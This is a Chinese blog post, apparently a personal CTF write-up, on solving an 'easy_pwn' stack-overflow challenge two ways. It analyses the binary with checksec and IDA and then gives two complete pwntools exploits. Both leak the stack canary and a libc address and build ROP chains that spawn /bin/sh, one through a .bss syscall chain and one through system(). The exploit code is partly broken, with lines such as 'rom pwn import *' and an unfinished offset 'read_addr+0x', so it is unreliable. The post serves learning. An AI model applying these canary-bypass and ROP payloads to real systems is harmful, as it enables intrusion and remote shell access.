美文网首页
一道easy_pwn的两种解法

一道easy_pwn的两种解法

作者: 飞熊先生 | 来源:发表于2019-11-07 10:22 被阅读0次

    在这里给自己做个记录。今日在学习栈溢出,训练营给我们出了一道题让我们练习。

    题目

    解题记录

    1. 分析文件

    (base) root@123:~/桌面# file easy_stack1
    easy_stack1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67d656f542879f1e4df509ece0d882eed9faaa2c, not stripped
    

    ile easy_stack1发现这是一个linux elf可执行文件
    勇敢checksec工具查看 easy_stack1,发现开启了Canary保护,并且patrical relro。


    图片4.png

    这说明该程序采用了金丝雀保护机制canary保护机制
    所谓canary意思如下:
    Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露

    2.IDA 打开文件

    用IDA Pro 64位打开


    图片1.png

    按F5按钮,查看伪代码


    图片2.png
    关键在于Vuln,双击如下所示:
    图片3.png

    3.解题思路

    明显的的栈溢出漏洞,绕过canary,然后构造ROP链到执行‘/bin/sh’,获取shell
    跟训练因的同伴交流有两个思路,一个是将payload到_bss段执行,一个是直接payload到system地址和bin_sh地址调用'\bin\sh'
    思路一的exp如下:

    rom pwn import *
    
    main_addr = 0x4007d9
    io = process('./easy_stack1')
    
    
    elf = ELF('./easy_stack1')
    
    
    #context.log_level='debug'
    payload1 = 'a' * 104   #+ flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96)
    
     
    io.sendlineafter("Lets get shell!\n",payload1)
    
    io.recvuntil(payload1)
    canary = u64(io.recv(8))-0xa
    io.recv()
    print 'canary: '+hex(canary)
    
    poprdi_rn=0x400873
    read_got=elf.got['read']
    puts_plt=elf.plt['puts']
    
    sleep(1)
    
    payload='a'* 104
    payload+=p64(canary)
    payload+='a'*8
    payload+=p64(poprdi_rn)
    payload+=p64(read_got)+p64(puts_plt)
    payload+=p64(main_addr)
    io.sendline(payload)
    read_addr =u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
    print 'read_addr: '+hex(read_addr)
    
    syscall=read_addr+0x
    print 'syscall: '+hex(syscall)
    
    
    p6r=0x40086a
    initaddr=0x400850
    bss_addr=0x601070
    io.sendlineafter("Lets get shell!\n","11\n")
    sleep(1)
    payload ='a'*104
    payload+=p64(canary)
    payload+='a'* 8
    payload+=p64(p6r)
    payload+=p64(0)+p64(1)+p64(read_got)+p64(0x43)+p64(bss_addr)+p64(0)  
    
    payload+=p64(initaddr)
    payload+=p64(0)
    payload+=p64(0)+p64(1)+p64(bss_addr+8)+p64(0)+p64(0)+p64(bss_addr)
    payload+=p64(initaddr)
    io.send(payload)
    payload='a'* 8
    payload+='/bin/sh\x00'+p64(syscall)
    payload=payload.ljust(0x43,'a')
    io.send(payload)
    print io.recv()
    io.interactive()
    

    思路2的exp

    from pwn import *
    context.log_level='debug'
    libc_base=0xf7e04000
    system_py=0x3ada0
    
    pop_rdi_ret=0x400873
    puts_got=0x601018
    puts_plt=0x4005C0
    read2=0x4007a7
    p = process('canary3')
    
    p.recvuntil('shell!')
    p.sendline('a'*104)
    p.recvuntil('a'*104)
    ca=p.recv(8)
    canary=u64(ca)-0xa
    print(hex(canary))
    rbp=u64(p.recv().ljust(8,'\x00'))
    payload='a'*104+p64(canary)+p64(rbp)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x4007ac)
    #payload='/bin/sh\n'+'a'*96+p64(canary)+'a'*8+p64(system_addr)+'a'*8
    p.sendline(payload)
    puts_addr=u64(p.recv(6).ljust(8,'\x00'))
    print(hex(puts_addr))
    libc_base=puts_addr-0x6f690
    print('libc: '+hex(libc_base))
    systme_addr=libc_base+0x45390
    bin_sh_addr=libc_base+0x18cd57
    payload='a'*104+p64(canary)+'a'*16+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(systme_addr)
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:一道easy_pwn的两种解法

          本文链接:https://www.haomeiwen.com/subject/bmymbctx.html